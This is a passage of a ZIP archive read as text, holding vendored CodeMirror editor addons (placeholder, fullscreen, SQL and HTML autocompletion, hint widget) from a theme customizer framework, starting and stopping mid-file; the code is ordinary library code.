      wrapper.className = wrapper.className.replace(" CodeMirror-empty", "");
    }

    if (val && !cm.hasFocus()) onBlur(cm);
  });

  function clearPlaceholder(cm) {
    if (cm.state.placeholder) {
      cm.state.placeholder.parentNode.removeChild(cm.state.placeholder);
      cm.state.placeholder = null;
    }
  }
  function setPlaceholder(cm) {
    clearPlaceholder(cm);
    var elt = cm.state.placeholder = document.createElement("pre");
    elt.style.cssText = "height: 0; overflow: visible";
    elt.className = "CodeMirror-placeholder";
    var placeHolder = cm.getOption("placeholder")
    if (typeof placeHolder == "string") placeHolder = document.createTextNode(placeHolder)
    elt.appendChild(placeHolder)
    cm.display.lineSpace.insertBefore(elt, cm.display.lineSpace.firstChild);
  }

  function onBlur(cm) {
    if (isEmpty(cm)) setPlaceholder(cm);
  }
  function onChange(cm) {
    var wrapper = cm.getWrapperElement(), empty = isEmpty(cm);
    wrapper.className = wrapper.className.replace(" CodeMirror-empty", "") + (empty ? " CodeMirror-empty" : "");

    if (empty) setPlaceholder(cm);
    else clearPlaceholder(cm);
  }

  function isEmpty(cm) {
    return (cm.lineCount() === 1) && (cm.getLine(0) === "");
  }
});
PK     0w\=3    L  customizer/framework/assets/js/vendor/codemirror/addon/display/fullscreen.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("fullScreen", false, function(cm, val, old) {
    if (old == CodeMirror.Init) old = false;
    if (!old == !val) return;
    if (val) setFullscreen(cm);
    else setNormal(cm);
  });

  function setFullscreen(cm) {
    var wrap = cm.getWrapperElement();
    cm.state.fullScreenRestore = {scrollTop: window.pageYOffset, scrollLeft: window.pageXOffset,
                                  width: wrap.style.width, height: wrap.style.height};
    wrap.style.width = "";
    wrap.style.height = "auto";
    wrap.className += " CodeMirror-fullscreen";
    document.documentElement.style.overflow = "hidden";
    cm.refresh();
  }

  function setNormal(cm) {
    var wrap = cm.getWrapperElement();
    wrap.className = wrap.className.replace(/\s*CodeMirror-fullscreen\b/, "");
    document.documentElement.style.overflow = "";
    var info = cm.state.fullScreenRestore;
    wrap.style.width = info.width; wrap.style.height = info.height;
    window.scrollTo(info.scrollLeft, info.scrollTop);
    cm.refresh();
  }
});
PK     0w\?
^  ^  G  customizer/framework/assets/js/vendor/codemirror/addon/hint/sql-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../../mode/sql/sql"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../../mode/sql/sql"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var tables;
  var defaultTable;
  var keywords;
  var CONS = {
    QUERY_DIV: ";",
    ALIAS_KEYWORD: "AS"
  };
  var Pos = CodeMirror.Pos;

  function getKeywords(editor) {
    var mode = editor.doc.modeOption;
    if (mode === "sql") mode = "text/x-sql";
    return CodeMirror.resolveMode(mode).keywords;
  }

  function getText(item) {
    return typeof item == "string" ? item : item.text;
  }

  function getItem(list, item) {
    if (!list.slice) return list[item];
    for (var i = list.length - 1; i >= 0; i--) if (getText(list[i]) == item)
      return list[i];
  }

  function shallowClone(object) {
    var result = {};
    for (var key in object) if (object.hasOwnProperty(key))
      result[key] = object[key];
    return result;
  }

  function match(string, word) {
    var len = string.length;
    var sub = getText(word).substr(0, len);
    return string.toUpperCase() === sub.toUpperCase();
  }

  function addMatches(result, search, wordlist, formatter) {
    for (var word in wordlist) {
      if (!wordlist.hasOwnProperty(word)) continue;
      if (wordlist.slice) word = wordlist[word];

      if (match(search, word)) result.push(formatter(word));
    }
  }

  function cleanName(name) {
    // Get rid name from backticks(`) and preceding dot(.)
    if (name.charAt(0) == ".") {
      name = name.substr(1);
    }
    return name.replace(/`/g, "");
  }

  function insertBackticks(name) {
    var nameParts = getText(name).split(".");
    for (var i = 0; i < nameParts.length; i++)
      nameParts[i] = "`" + nameParts[i] + "`";
    var escaped = nameParts.join(".");
    if (typeof name == "string") return escaped;
    name = shallowClone(name);
    name.text = escaped;
    return name;
  }

  function nameCompletion(cur, token, result, editor) {
    // Try to complete table, colunm names and return start position of completion
    var useBacktick = false;
    var nameParts = [];
    var start = token.start;
    var cont = true;
    while (cont) {
      cont = (token.string.charAt(0) == ".");
      useBacktick = useBacktick || (token.string.charAt(0) == "`");

      start = token.start;
      nameParts.unshift(cleanName(token.string));

      token = editor.getTokenAt(Pos(cur.line, token.start));
      if (token.string == ".") {
        cont = true;
        token = editor.getTokenAt(Pos(cur.line, token.start));
      }
    }

    // Try to complete table names
    var string = nameParts.join(".");
    addMatches(result, string, tables, function(w) {
      return useBacktick ? insertBackticks(w) : w;
    });

    // Try to complete columns from defaultTable
    addMatches(result, string, defaultTable, function(w) {
      return useBacktick ? insertBackticks(w) : w;
    });

    // Try to complete columns
    string = nameParts.pop();
    var table = nameParts.join(".");

    var alias = false;
    var aliasTable = table;
    // Check if table is available. If not, find table by Alias
    if (!getItem(tables, table)) {
      var oldTable = table;
      table = findTableByAlias(table, editor);
      if (table !== oldTable) alias = true;
    }

    var columns = getItem(tables, table);
    if (columns && columns.columns)
      columns = columns.columns;

    if (columns) {
      addMatches(result, string, columns, function(w) {
        var tableInsert = table;
        if (alias == true) tableInsert = aliasTable;
        if (typeof w == "string") {
          w = tableInsert + "." + w;
        } else {
          w = shallowClone(w);
          w.text = tableInsert + "." + w.text;
        }
        return useBacktick ? insertBackticks(w) : w;
      });
    }

    return start;
  }

  function eachWord(lineText, f) {
    if (!lineText) return;
    var excepted = /[,;]/g;
    var words = lineText.split(" ");
    for (var i = 0; i < words.length; i++) {
      f(words[i]?words[i].replace(excepted, '') : '');
    }
  }

  function convertCurToNumber(cur) {
    // max characters of a line is 999,999.
    return cur.line + cur.ch / Math.pow(10, 6);
  }

  function convertNumberToCur(num) {
    return Pos(Math.floor(num), +num.toString().split('.').pop());
  }

  function findTableByAlias(alias, editor) {
    var doc = editor.doc;
    var fullQuery = doc.getValue();
    var aliasUpperCase = alias.toUpperCase();
    var previousWord = "";
    var table = "";
    var separator = [];
    var validRange = {
      start: Pos(0, 0),
      end: Pos(editor.lastLine(), editor.getLineHandle(editor.lastLine()).length)
    };

    //add separator
    var indexOfSeparator = fullQuery.indexOf(CONS.QUERY_DIV);
    while(indexOfSeparator != -1) {
      separator.push(doc.posFromIndex(indexOfSeparator));
      indexOfSeparator = fullQuery.indexOf(CONS.QUERY_DIV, indexOfSeparator+1);
    }
    separator.unshift(Pos(0, 0));
    separator.push(Pos(editor.lastLine(), editor.getLineHandle(editor.lastLine()).text.length));

    //find valid range
    var prevItem = 0;
    var current = convertCurToNumber(editor.getCursor());
    for (var i=0; i< separator.length; i++) {
      var _v = convertCurToNumber(separator[i]);
      if (current > prevItem && current <= _v) {
        validRange = { start: convertNumberToCur(prevItem), end: convertNumberToCur(_v) };
        break;
      }
      prevItem = _v;
    }

    var query = doc.getRange(validRange.start, validRange.end, false);

    for (var i = 0; i < query.length; i++) {
      var lineText = query[i];
      eachWord(lineText, function(word) {
        var wordUpperCase = word.toUpperCase();
        if (wordUpperCase === aliasUpperCase && getItem(tables, previousWord))
          table = previousWord;
        if (wordUpperCase !== CONS.ALIAS_KEYWORD)
          previousWord = word;
      });
      if (table) break;
    }
    return table;
  }

  CodeMirror.registerHelper("hint", "sql", function(editor, options) {
    tables = (options && options.tables) || {};
    var defaultTableName = options && options.defaultTable;
    var disableKeywords = options && options.disableKeywords;
    defaultTable = defaultTableName && getItem(tables, defaultTableName);
    keywords = keywords || getKeywords(editor);

    if (defaultTableName && !defaultTable)
      defaultTable = findTableByAlias(defaultTableName, editor);

    defaultTable = defaultTable || [];

    if (defaultTable.columns)
      defaultTable = defaultTable.columns;

    var cur = editor.getCursor();
    var result = [];
    var token = editor.getTokenAt(cur), start, end, search;
    if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }

    if (token.string.match(/^[.`\w@]\w*$/)) {
      search = token.string;
      start = token.start;
      end = token.end;
    } else {
      start = end = cur.ch;
      search = "";
    }
    if (search.charAt(0) == "." || search.charAt(0) == "`") {
      start = nameCompletion(cur, token, result, editor);
    } else {
      addMatches(result, search, tables, function(w) {return w;});
      addMatches(result, search, defaultTable, function(w) {return w;});
      if (!disableKeywords)
        addMatches(result, search, keywords, function(w) {return w.toUpperCase();});
    }

    return {list: result, from: Pos(cur.line, start), to: Pos(cur.line, end)};
  });
});
PK     0w\ϔ@  @  H  customizer/framework/assets/js/vendor/codemirror/addon/hint/show-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var HINT_ELEMENT_CLASS        = "CodeMirror-hint";
  var ACTIVE_HINT_ELEMENT_CLASS = "CodeMirror-hint-active";

  // This is the old interface, kept around for now to stay
  // backwards-compatible.
  CodeMirror.showHint = function(cm, getHints, options) {
    if (!getHints) return cm.showHint(options);
    if (options && options.async) getHints.async = true;
    var newOpts = {hint: getHints};
    if (options) for (var prop in options) newOpts[prop] = options[prop];
    return cm.showHint(newOpts);
  };

  CodeMirror.defineExtension("showHint", function(options) {
    options = parseOptions(this, this.getCursor("start"), options);
    var selections = this.listSelections()
    if (selections.length > 1) return;
    // By default, don't allow completion when something is selected.
    // A hint function can have a `supportsSelection` property to
    // indicate that it can handle selections.
    if (this.somethingSelected()) {
      if (!options.hint.supportsSelection) return;
      // Don't try with cross-line selections
      for (var i = 0; i < selections.length; i++)
        if (selections[i].head.line != selections[i].anchor.line) return;
    }

    if (this.state.completionActive) this.state.completionActive.close();
    var completion = this.state.completionActive = new Completion(this, options);
    if (!completion.options.hint) return;

    CodeMirror.signal(this, "startCompletion", this);
    completion.update(true);
  });

  function Completion(cm, options) {
    this.cm = cm;
    this.options = options;
    this.widget = null;
    this.debounce = 0;
    this.tick = 0;
    this.startPos = this.cm.getCursor("start");
    this.startLen = this.cm.getLine(this.startPos.line).length - this.cm.getSelection().length;

    var self = this;
    cm.on("cursorActivity", this.activityFunc = function() { self.cursorActivity(); });
  }

  var requestAnimationFrame = window.requestAnimationFrame || function(fn) {
    return setTimeout(fn, 1000/60);
  };
  var cancelAnimationFrame = window.cancelAnimationFrame || clearTimeout;

  Completion.prototype = {
    close: function() {
      if (!this.active()) return;
      this.cm.state.completionActive = null;
      this.tick = null;
      this.cm.off("cursorActivity", this.activityFunc);

      if (this.widget && this.data) CodeMirror.signal(this.data, "close");
      if (this.widget) this.widget.close();
      CodeMirror.signal(this.cm, "endCompletion", this.cm);
    },

    active: function() {
      return this.cm.state.completionActive == this;
    },

    pick: function(data, i) {
      var completion = data.list[i];
      if (completion.hint) completion.hint(this.cm, data, completion);
      else this.cm.replaceRange(getText(completion), completion.from || data.from,
                                completion.to || data.to, "complete");
      CodeMirror.signal(data, "pick", completion);
      this.close();
    },

    cursorActivity: function() {
      if (this.debounce) {
        cancelAnimationFrame(this.debounce);
        this.debounce = 0;
      }

      var pos = this.cm.getCursor(), line = this.cm.getLine(pos.line);
      if (pos.line != this.startPos.line || line.length - pos.ch != this.startLen - this.startPos.ch ||
          pos.ch < this.startPos.ch || this.cm.somethingSelected() ||
          (pos.ch && this.options.closeCharacters.test(line.charAt(pos.ch - 1)))) {
        this.close();
      } else {
        var self = this;
        this.debounce = requestAnimationFrame(function() {self.update();});
        if (this.widget) this.widget.disable();
      }
    },

    update: function(first) {
      if (this.tick == null) return;
      if (!this.options.hint.async) {
        this.finishUpdate(this.options.hint(this.cm, this.options), first);
      } else {
        var myTick = ++this.tick, self = this;
        this.options.hint(this.cm, function(data) {
          if (self.tick == myTick) self.finishUpdate(data, first);
        }, this.options);
      }
    },

    finishUpdate: function(data, first) {
      if (this.data) CodeMirror.signal(this.data, "update");
      if (data && this.data && CodeMirror.cmpPos(data.from, this.data.from)) data = null;
      this.data = data;

      var picked = (this.widget && this.widget.picked) || (first && this.options.completeSingle);
      if (this.widget) this.widget.close();
      if (data && data.list.length) {
        if (picked && data.list.length == 1) {
          this.pick(data, 0);
        } else {
          this.widget = new Widget(this, data);
          CodeMirror.signal(data, "shown");
        }
      }
    }
  };

  function parseOptions(cm, pos, options) {
    var editor = cm.options.hintOptions;
    var out = {};
    for (var prop in defaultOptions) out[prop] = defaultOptions[prop];
    if (editor) for (var prop in editor)
      if (editor[prop] !== undefined) out[prop] = editor[prop];
    if (options) for (var prop in options)
      if (options[prop] !== undefined) out[prop] = options[prop];
    if (out.hint.resolve) out.hint = out.hint.resolve(cm, pos)
    return out;
  }

  function getText(completion) {
    if (typeof completion == "string") return completion;
    else return completion.text;
  }

  function buildKeyMap(completion, handle) {
    var baseMap = {
      Up: function() {handle.moveFocus(-1);},
      Down: function() {handle.moveFocus(1);},
      PageUp: function() {handle.moveFocus(-handle.menuSize() + 1, true);},
      PageDown: function() {handle.moveFocus(handle.menuSize() - 1, true);},
      Home: function() {handle.setFocus(0);},
      End: function() {handle.setFocus(handle.length - 1);},
      Enter: handle.pick,
      Tab: handle.pick,
      Esc: handle.close
    };
    var custom = completion.options.customKeys;
    var ourMap = custom ? {} : baseMap;
    function addBinding(key, val) {
      var bound;
      if (typeof val != "string")
        bound = function(cm) { return val(cm, handle); };
      // This mechanism is deprecated
      else if (baseMap.hasOwnProperty(val))
        bound = baseMap[val];
      else
        bound = val;
      ourMap[key] = bound;
    }
    if (custom)
      for (var key in custom) if (custom.hasOwnProperty(key))
        addBinding(key, custom[key]);
    var extra = completion.options.extraKeys;
    if (extra)
      for (var key in extra) if (extra.hasOwnProperty(key))
        addBinding(key, extra[key]);
    return ourMap;
  }

  function getHintElement(hintsElement, el) {
    while (el && el != hintsElement) {
      if (el.nodeName.toUpperCase() === "LI" && el.parentNode == hintsElement) return el;
      el = el.parentNode;
    }
  }

  function Widget(completion, data) {
    this.completion = completion;
    this.data = data;
    this.picked = false;
    var widget = this, cm = completion.cm;

    var hints = this.hints = document.createElement("ul");
    hints.className = "CodeMirror-hints";
    this.selectedHint = data.selectedHint || 0;

    var completions = data.list;
    for (var i = 0; i < completions.length; ++i) {
      var elt = hints.appendChild(document.createElement("li")), cur = completions[i];
      var className = HINT_ELEMENT_CLASS + (i != this.selectedHint ? "" : " " + ACTIVE_HINT_ELEMENT_CLASS);
      if (cur.className != null) className = cur.className + " " + className;
      elt.className = className;
      if (cur.render) cur.render(elt, data, cur);
      else elt.appendChild(document.createTextNode(cur.displayText || getText(cur)));
      elt.hintId = i;
    }

    var pos = cm.cursorCoords(completion.options.alignWithWord ? data.from : null);
    var left = pos.left, top = pos.bottom, below = true;
    hints.style.left = left + "px";
    hints.style.top = top + "px";
    // If we're at the edge of the screen, then we want the menu to appear on the left of the cursor.
    var winW = window.innerWidth || Math.max(document.body.offsetWidth, document.documentElement.offsetWidth);
    var winH = window.innerHeight || Math.max(document.body.offsetHeight, document.documentElement.offsetHeight);
    (completion.options.container || document.body).appendChild(hints);
    var box = hints.getBoundingClientRect(), overlapY = box.bottom - winH;
    if (overlapY > 0) {
      var height = box.bottom - box.top, curTop = pos.top - (pos.bottom - box.top);
      if (curTop - height > 0) { // Fits above cursor
        hints.style.top = (top = pos.top - height) + "px";
        below = false;
      } else if (height > winH) {
        hints.style.height = (winH - 5) + "px";
        hints.style.top = (top = pos.bottom - box.top) + "px";
        var cursor = cm.getCursor();
        if (data.from.ch != cursor.ch) {
          pos = cm.cursorCoords(cursor);
          hints.style.left = (left = pos.left) + "px";
          box = hints.getBoundingClientRect();
        }
      }
    }
    var overlapX = box.right - winW;
    if (overlapX > 0) {
      if (box.right - box.left > winW) {
        hints.style.width = (winW - 5) + "px";
        overlapX -= (box.right - box.left) - winW;
      }
      hints.style.left = (left = pos.left - overlapX) + "px";
    }

    cm.addKeyMap(this.keyMap = buildKeyMap(completion, {
      moveFocus: function(n, avoidWrap) { widget.changeActive(widget.selectedHint + n, avoidWrap); },
      setFocus: function(n) { widget.changeActive(n); },
      menuSize: function() { return widget.screenAmount(); },
      length: completions.length,
      close: function() { completion.close(); },
      pick: function() { widget.pick(); },
      data: data
    }));

    if (completion.options.closeOnUnfocus) {
      var closingOnBlur;
      cm.on("blur", this.onBlur = function() { closingOnBlur = setTimeout(function() { completion.close(); }, 100); });
      cm.on("focus", this.onFocus = function() { clearTimeout(closingOnBlur); });
    }

    var startScroll = cm.getScrollInfo();
    cm.on("scroll", this.onScroll = function() {
      var curScroll = cm.getScrollInfo(), editor = cm.getWrapperElement().getBoundingClientRect();
      var newTop = top + startScroll.top - curScroll.top;
      var point = newTop - (window.pageYOffset || (document.documentElement || document.body).scrollTop);
      if (!below) point += hints.offsetHeight;
      if (point <= editor.top || point >= editor.bottom) return completion.close();
      hints.style.top = newTop + "px";
      hints.style.left = (left + startScroll.left - curScroll.left) + "px";
    });

    CodeMirror.on(hints, "dblclick", function(e) {
      var t = getHintElement(hints, e.target || e.srcElement);
      if (t && t.hintId != null) {widget.changeActive(t.hintId); widget.pick();}
    });

    CodeMirror.on(hints, "click", function(e) {
      var t = getHintElement(hints, e.target || e.srcElement);
      if (t && t.hintId != null) {
        widget.changeActive(t.hintId);
        if (completion.options.completeOnSingleClick) widget.pick();
      }
    });

    CodeMirror.on(hints, "mousedown", function() {
      setTimeout(function(){cm.focus();}, 20);
    });

    if (completion.options.completeOnSingleClick)
      CodeMirror.on(hints, "mousemove", function(e) {
        var elt = getHintElement(hints, e.target || e.srcElement);
        if (elt && elt.hintId != null)
          widget.changeActive(elt.hintId);
      });

    CodeMirror.signal(data, "select", completions[0], hints.firstChild);
    return true;
  }

  Widget.prototype = {
    close: function() {
      if (this.completion.widget != this) return;
      this.completion.widget = null;
      this.hints.parentNode.removeChild(this.hints);
      this.completion.cm.removeKeyMap(this.keyMap);

      var cm = this.completion.cm;
      if (this.completion.options.closeOnUnfocus) {
        cm.off("blur", this.onBlur);
        cm.off("focus", this.onFocus);
      }
      cm.off("scroll", this.onScroll);
    },

    disable: function() {
      this.completion.cm.removeKeyMap(this.keyMap);
      var widget = this;
      this.keyMap = {Enter: function() { widget.picked = true; }};
      this.completion.cm.addKeyMap(this.keyMap);
    },

    pick: function() {
      this.completion.pick(this.data, this.selectedHint);
    },

    changeActive: function(i, avoidWrap) {
      if (i >= this.data.list.length)
        i = avoidWrap ? this.data.list.length - 1 : 0;
      else if (i < 0)
        i = avoidWrap ? 0  : this.data.list.length - 1;
      if (this.selectedHint == i) return;
      var node = this.hints.childNodes[this.selectedHint];
      node.className = node.className.replace(" " + ACTIVE_HINT_ELEMENT_CLASS, "");
      node = this.hints.childNodes[this.selectedHint = i];
      node.className += " " + ACTIVE_HINT_ELEMENT_CLASS;
      if (node.offsetTop < this.hints.scrollTop)
        this.hints.scrollTop = node.offsetTop - 3;
      else if (node.offsetTop + node.offsetHeight > this.hints.scrollTop + this.hints.clientHeight)
        this.hints.scrollTop = node.offsetTop + node.offsetHeight - this.hints.clientHeight + 3;
      CodeMirror.signal(this.data, "select", this.data.list[this.selectedHint], node);
    },

    screenAmount: function() {
      return Math.floor(this.hints.clientHeight / this.hints.firstChild.offsetHeight) || 1;
    }
  };

  function applicableHelpers(cm, helpers) {
    if (!cm.somethingSelected()) return helpers
    var result = []
    for (var i = 0; i < helpers.length; i++)
      if (helpers[i].supportsSelection) result.push(helpers[i])
    return result
  }

  function resolveAutoHints(cm, pos) {
    var helpers = cm.getHelpers(pos, "hint"), words
    if (helpers.length) {
      var async = false, resolved
      for (var i = 0; i < helpers.length; i++) if (helpers[i].async) async = true
      if (async) {
        resolved = function(cm, callback, options) {
          var app = applicableHelpers(cm, helpers)
          function run(i, result) {
            if (i == app.length) return callback(null)
            var helper = app[i]
            if (helper.async) {
              helper(cm, function(result) {
                if (result) callback(result)
                else run(i + 1)
              }, options)
            } else {
              var result = helper(cm, options)
              if (result) callback(result)
              else run(i + 1)
            }
          }
          run(0)
        }
        resolved.async = true
      } else {
        resolved = function(cm, options) {
          var app = applicableHelpers(cm, helpers)
          for (var i = 0; i < app.length; i++) {
            var cur = app[i](cm, options)
            if (cur && cur.list.length) return cur
          }
        }
      }
      resolved.supportsSelection = true
      return resolved
    } else if (words = cm.getHelper(cm.getCursor(), "hintWords")) {
      return function(cm) { return CodeMirror.hint.fromList(cm, {words: words}) }
    } else if (CodeMirror.hint.anyword) {
      return function(cm, options) { return CodeMirror.hint.anyword(cm, options) }
    } else {
      return function() {}
    }
  }

  CodeMirror.registerHelper("hint", "auto", {
    resolve: resolveAutoHints
  });

  CodeMirror.registerHelper("hint", "fromList", function(cm, options) {
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    var to = CodeMirror.Pos(cur.line, token.end);
    if (token.string && /\w/.test(token.string[token.string.length - 1])) {
      var term = token.string, from = CodeMirror.Pos(cur.line, token.start);
    } else {
      var term = "", from = to;
    }
    var found = [];
    for (var i = 0; i < options.words.length; i++) {
      var word = options.words[i];
      if (word.slice(0, term.length) == term)
        found.push(word);
    }

    if (found.length) return {list: found, from: from, to: to};
  });

  CodeMirror.commands.autocomplete = CodeMirror.showHint;

  var defaultOptions = {
    hint: CodeMirror.hint.auto,
    completeSingle: true,
    alignWithWord: true,
    closeCharacters: /[\s()\[\]{};:>,]/,
    closeOnUnfocus: true,
    completeOnSingleClick: true,
    container: null,
    customKeys: null,
    extraKeys: null
  };

  CodeMirror.defineOption("hintOptions", null);
});
PK     0w\kFM,  M,  H  customizer/framework/assets/js/vendor/codemirror/addon/hint/html-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./xml-hint"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./xml-hint"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var langs = "ab aa af ak sq am ar an hy as av ae ay az bm ba eu be bn bh bi bs br bg my ca ch ce ny zh cv kw co cr hr cs da dv nl dz en eo et ee fo fj fi fr ff gl ka de el gn gu ht ha he hz hi ho hu ia id ie ga ig ik io is it iu ja jv kl kn kr ks kk km ki rw ky kv kg ko ku kj la lb lg li ln lo lt lu lv gv mk mg ms ml mt mi mr mh mn na nv nb nd ne ng nn no ii nr oc oj cu om or os pa pi fa pl ps pt qu rm rn ro ru sa sc sd se sm sg sr gd sn si sk sl so st es su sw ss sv ta te tg th ti bo tk tl tn to tr ts tt tw ty ug uk ur uz ve vi vo wa cy wo fy xh yi yo za zu".split(" ");
  var targets = ["_blank", "_self", "_top", "_parent"];
  var charsets = ["ascii", "utf-8", "utf-16", "latin1", "latin1"];
  var methods = ["get", "post", "put", "delete"];
  var encs = ["application/x-www-form-urlencoded", "multipart/form-data", "text/plain"];
  var media = ["all", "screen", "print", "embossed", "braille", "handheld", "print", "projection", "screen", "tty", "tv", "speech",
               "3d-glasses", "resolution [>][<][=] [X]", "device-aspect-ratio: X/Y", "orientation:portrait",
               "orientation:landscape", "device-height: [X]", "device-width: [X]"];
  var s = { attrs: {} }; // Simple tag, reused for a whole lot of tags

  var data = {
    a: {
      attrs: {
        href: null, ping: null, type: null,
        media: media,
        target: targets,
        hreflang: langs
      }
    },
    abbr: s,
    acronym: s,
    address: s,
    applet: s,
    area: {
      attrs: {
        alt: null, coords: null, href: null, target: null, ping: null,
        media: media, hreflang: langs, type: null,
        shape: ["default", "rect", "circle", "poly"]
      }
    },
    article: s,
    aside: s,
    audio: {
      attrs: {
        src: null, mediagroup: null,
        crossorigin: ["anonymous", "use-credentials"],
        preload: ["none", "metadata", "auto"],
        autoplay: ["", "autoplay"],
        loop: ["", "loop"],
        controls: ["", "controls"]
      }
    },
    b: s,
    base: { attrs: { href: null, target: targets } },
    basefont: s,
    bdi: s,
    bdo: s,
    big: s,
    blockquote: { attrs: { cite: null } },
    body: s,
    br: s,
    button: {
      attrs: {
        form: null, formaction: null, name: null, value: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "autofocus"],
        formenctype: encs,
        formmethod: methods,
        formnovalidate: ["", "novalidate"],
        formtarget: targets,
        type: ["submit", "reset", "button"]
      }
    },
    canvas: { attrs: { width: null, height: null } },
    caption: s,
    center: s,
    cite: s,
    code: s,
    col: { attrs: { span: null } },
    colgroup: { attrs: { span: null } },
    command: {
      attrs: {
        type: ["command", "checkbox", "radio"],
        label: null, icon: null, radiogroup: null, command: null, title: null,
        disabled: ["", "disabled"],
        checked: ["", "checked"]
      }
    },
    data: { attrs: { value: null } },
    datagrid: { attrs: { disabled: ["", "disabled"], multiple: ["", "multiple"] } },
    datalist: { attrs: { data: null } },
    dd: s,
    del: { attrs: { cite: null, datetime: null } },
    details: { attrs: { open: ["", "open"] } },
    dfn: s,
    dir: s,
    div: s,
    dl: s,
    dt: s,
    em: s,
    embed: { attrs: { src: null, type: null, width: null, height: null } },
    eventsource: { attrs: { src: null } },
    fieldset: { attrs: { disabled: ["", "disabled"], form: null, name: null } },
    figcaption: s,
    figure: s,
    font: s,
    footer: s,
    form: {
      attrs: {
        action: null, name: null,
        "accept-charset": charsets,
        autocomplete: ["on", "off"],
        enctype: encs,
        method: methods,
        novalidate: ["", "novalidate"],
        target: targets
      }
    },
    frame: s,
    frameset: s,
    h1: s, h2: s, h3: s, h4: s, h5: s, h6: s,
    head: {
      attrs: {},
      children: ["title", "base", "link", "style", "meta", "script", "noscript", "command"]
    },
    header: s,
    hgroup: s,
    hr: s,
    html: {
      attrs: { manifest: null },
      children: ["head", "body"]
    },
    i: s,
    iframe: {
      attrs: {
        src: null, srcdoc: null, name: null, width: null, height: null,
        sandbox: ["allow-top-navigation", "allow-same-origin", "allow-forms", "allow-scripts"],
        seamless: ["", "seamless"]
      }
    },
    img: {
      attrs: {
        alt: null, src: null, ismap: null, usemap: null, width: null, height: null,
        crossorigin: ["anonymous", "use-credentials"]
      }
    },
    input: {
      attrs: {
        alt: null, dirname: null, form: null, formaction: null,
        height: null, list: null, max: null, maxlength: null, min: null,
        name: null, pattern: null, placeholder: null, size: null, src: null,
        step: null, value: null, width: null,
        accept: ["audio/*", "video/*", "image/*"],
        autocomplete: ["on", "off"],
        autofocus: ["", "autofocus"],
        checked: ["", "checked"],
        disabled: ["", "disabled"],
        formenctype: encs,
        formmethod: methods,
        formnovalidate: ["", "novalidate"],
        formtarget: targets,
        multiple: ["", "multiple"],
        readonly: ["", "readonly"],
        required: ["", "required"],
        type: ["hidden", "text", "search", "tel", "url", "email", "password", "datetime", "date", "month",
               "week", "time", "datetime-local", "number", "range", "color", "checkbox", "radio",
               "file", "submit", "image", "reset", "button"]
      }
    },
    ins: { attrs: { cite: null, datetime: null } },
    kbd: s,
    keygen: {
      attrs: {
        challenge: null, form: null, name: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        keytype: ["RSA"]
      }
    },
    label: { attrs: { "for": null, form: null } },
    legend: s,
    li: { attrs: { value: null } },
    link: {
      attrs: {
        href: null, type: null,
        hreflang: langs,
        media: media,
        sizes: ["all", "16x16", "16x16 32x32", "16x16 32x32 64x64"]
      }
    },
    map: { attrs: { name: null } },
    mark: s,
    menu: { attrs: { label: null, type: ["list", "context", "toolbar"] } },
    meta: {
      attrs: {
        content: null,
        charset: charsets,
        name: ["viewport", "application-name", "author", "description", "generator", "keywords"],
        "http-equiv": ["content-language", "content-type", "default-style", "refresh"]
      }
    },
    meter: { attrs: { value: null, min: null, low: null, high: null, max: null, optimum: null } },
    nav: s,
    noframes: s,
    noscript: s,
    object: {
      attrs: {
        data: null, type: null, name: null, usemap: null, form: null, width: null, height: null,
        typemustmatch: ["", "typemustmatch"]
      }
    },
    ol: { attrs: { reversed: ["", "reversed"], start: null, type: ["1", "a", "A", "i", "I"] } },
    optgroup: { attrs: { disabled: ["", "disabled"], label: null } },
    option: { attrs: { disabled: ["", "disabled"], label: null, selected: ["", "selected"], value: null } },
    output: { attrs: { "for": null, form: null, name: null } },
    p: s,
    param: { attrs: { name: null, value: null } },
    pre: s,
    progress: { attrs: { value: null, max: null } },
    q: { attrs: { cite: null } },
    rp: s,
    rt: s,
    ruby: s,
    s: s,
    samp: s,
    script: {
      attrs: {
        type: ["text/javascript"],
        src: null,
        async: ["", "async"],
        defer: ["", "defer"],
        charset: charsets
      }
    },
    section: s,
    select: {
      attrs: {
        form: null, name: null, size: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        multiple: ["", "multiple"]
      }
    },
    small: s,
    source: { attrs: { src: null, type: null, media: null } },
    span: s,
    strike: s,
    strong: s,
    style: {
      attrs: {
        type: ["text/css"],
        media: media,
        scoped: null
      }
    },
    sub: s,
    summary: s,
    sup: s,
    table: s,
    tbody: s,
    td: { attrs: { colspan: null, rowspan: null, headers: null } },
    textarea: {
      attrs: {
        dirname: null, form: null, maxlength: null, name: null, placeholder: null,
        rows: null, cols: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        readonly: ["", "readonly"],
        required: ["", "required"],
